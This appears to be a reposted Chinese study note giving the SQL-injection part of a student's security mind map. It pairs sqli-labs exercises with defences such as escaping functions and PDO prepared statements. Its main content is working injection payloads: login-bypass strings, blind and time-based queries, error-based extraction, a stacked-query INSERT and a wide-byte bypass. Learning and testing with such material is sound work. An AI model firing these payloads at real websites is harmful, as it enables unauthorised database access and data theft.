SQL注入思维导图

Posted 网络空间安全社

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入思维导图相关的知识,希望对你有一定的参考价值。

新朋友点上方蓝字“网络空间安全社”即可关注
本文为以大三老狗的思路现阶段整理的超大型思维导图中的“sql注入”分支介绍。

2020/1/2 22:00

前言


最近做了一个超大型的网安思维导图(我画的思维导图真的太大了,本文的sql注入思维导图仅仅是不到二十分之一而已SQL注入思维导图),基本会覆盖网安学习和实践中的所有知识点。思维导图的各种分支会精细到知识细枝末节的颗粒度。SQL注入思维导图


当然,也在不断完善和维护中。本着分享的原则,当我将这个思维导图完善到能够让自己满意到足够交代我大一到大三这几年的学习,我会分享给大家。

到时候学弟问你们怎么入坑网安,各位师傅不要和学弟说这个是劝退图哦。SQL注入思维导图


大纲

(由于微信对图片的限制,sql注入分支切为四个图。将大段文字的注解分别跟在每个思维导图后面方便大家理解)

1.SQL与SQLi   (SQL injection,即SQL注入)判断

2.手工注入

3.SQLmap锦集  (在兼职当讲师的时候对sqlmap进行了一次重新的大梳理)

4.其他点与防御


1SQL与SQLi判断


SQL注入思维导图

mid函数:

select mid((select username from users where id=1),1,2)

substr函数:

substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’

这种单个字符比较的话,返回布尔值的1或0

ord函数:

(同于 ascii())  -> ascii码 :select ord("a")

正则注入和通配符函数:

mysql可以使用regexp来匹配正则,

mssql是like匹配不标准的正则,也就是通配符匹配:

通配符%多个字符,_是单个字符


select * from users where password regexp '^D'


SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="security" AND table_name REGEXP '[a-z]' LIMIT 0,1


index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*


like进行模糊匹配

select user() like "ro%"

mysql报错:


判断注入点最直接简单的方式是看有没有DBMS的报错信息。


注意区别于CGI脚本的报错、中间件的报错和防火墙的报错。

这几者报错不一样


2手工注入


SQL注入思维导图

万能密码(这里放一小部分,有专门的万能密码字典去测试):


admin

admin'--

admin' or 4=4--

admin' or '1'='1'--

堆叠查询注入:


less38

http://127.0.0.1:9000/less-38/?id=%27;%20insert%20into%20users(id,username,password)values(%27100%27,%27lqs%27,%27lqs%27)--+

这个和后台的mysqli_multi_query实现方法有关

剪切字符串进行ascii比较

sqli-less5: 

字符型直接注入,没有回显   -》 布尔盲注:

?id=3' and 1=(select 1=(ascii(mid((select database()),1,1))>100)) --+ 

sleep():

eg:

select If(1=1,0,sleep(5))

payload:

If(ascii(substr(database(),1,1))>115,0,sleep(5))%2

Select 1,count(*),

concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a

from information_schema.columns group by a;

double数值类型超出范围:

Exp()为以 e 为底的对数函数;版本在 5.5.5 及其以上:

select exp(~(select * FROM(SELECT USER())a)) //double 数值类 型超出范围

bigint 超出范围

select !(select * from (select user())x) -(ps:这是减号) ~0

//bigint 超出范围;~0 是对 0 逐位取反,很大的版本在 5.5.5 及其以上

可以参考文章 bigint 溢出文章:

http://www.cnblogs.com/lcamry/articles/5509112.html

%df吃掉反斜杠:  (宽字节注入)

sqli-lab: less32

?id=-1%df%27%20union%20select%201,2,3%20--+

3最强工具sqlmap


SQL注入思维导图

4其他,防御


magic_quotes_gpc

php 是通过 magic_quotes_gpc 来决定是否对外来数据做转义处理的

php 5.3.6及以后默认关闭

php5.4.0及以后忽视它的存在

php 5.4 之前,会有全局魔术引号

但是对引号进行过滤防范不住 int 型的sql注入


get_magic_quotes_gpc():

检测是否gpc 

常用来避免是否双层转义

addslashes()

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

单引号(')  双引号(")  反斜杠()  NULL

mysql_real_escape_string()

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

x00

'

"

x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

PDO:

PDO:PHP data object PHP数据对象PDO推荐使用在php5.4及以后,之前的PDO一般都存在一些BUG和问题提供了一个数据访问抽象层,不管什么数据库,都可以直接使用这个来查询和获取数据
<?php
$dbms='mysql'; //数据库类型
$host='localhost'; //数据库主机名
$dbName='security'; //使用的数据库
$user='root'; //数据库连接用户名
$pass='root'; //对应的密码
$dsn="$dbms:host=$host;dbname=$dbName";

try {
$dbh = new PDO($dsn, $user, $pass); //初始化一个PDO对象
echo "连接成功<br/>";
/*你还可以进行一次搜索操作
foreach ($dbh->query('SELECT * from FOO') as $row) {
print_r($row); //你可以用 echo($GLOBAL); 来看到这些值
}
*/
} catch (PDOException $e) {
    die ("Error!: " . $e->getMessage() . "<br/>");}
//默认这个不是长连接,如果需要数据库长连接,需要最后加一个参数:array(PDO::ATTR_PERSISTENT => true) 变成这样:
//$db = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true));

$dbh->exec("set names 'utf8'"); $sql = "select * from security.users where id=? limit 1";$stmt = $dbh->prepare($sql);$name = $_GET['id'];
//绑定参数
$stmt->bindValue(1,$name);
//执行预处理语句
$stmt->execute();
//推荐这种方式来获取查询结果
while ($row=$stmt->fetch()){    print_r($row);}
//释放查询结果
$stmt = null;
//关闭连接
$pdo = null;?>

 

这里重点:
  1. tamper脚本的改写

  2. nmap或者其他工具爆破可外连接mysql服务

今天SQLmap就介绍到这里了,下一篇我会介绍我写的nmap的思维导图,需要大家有良好的网络基础哦~!



以上是关于SQL注入思维导图的主要内容,如果未能解决你的问题,请参考以下文章

前端界面操作数据表(知识点描述,思维导图,示例代码,效果截图)

以下代码片段是不是容易受到 Rails 5 中 SQL 注入的影响?

mybatis思维导图,让mybatis不再难懂

java取整运算,思维导图+源代码+笔记+项目

MyBatis 思维导图,让 MyBatis 不再难懂

Oracle(sql)文盲大扫除思维导图系列——常用sql函数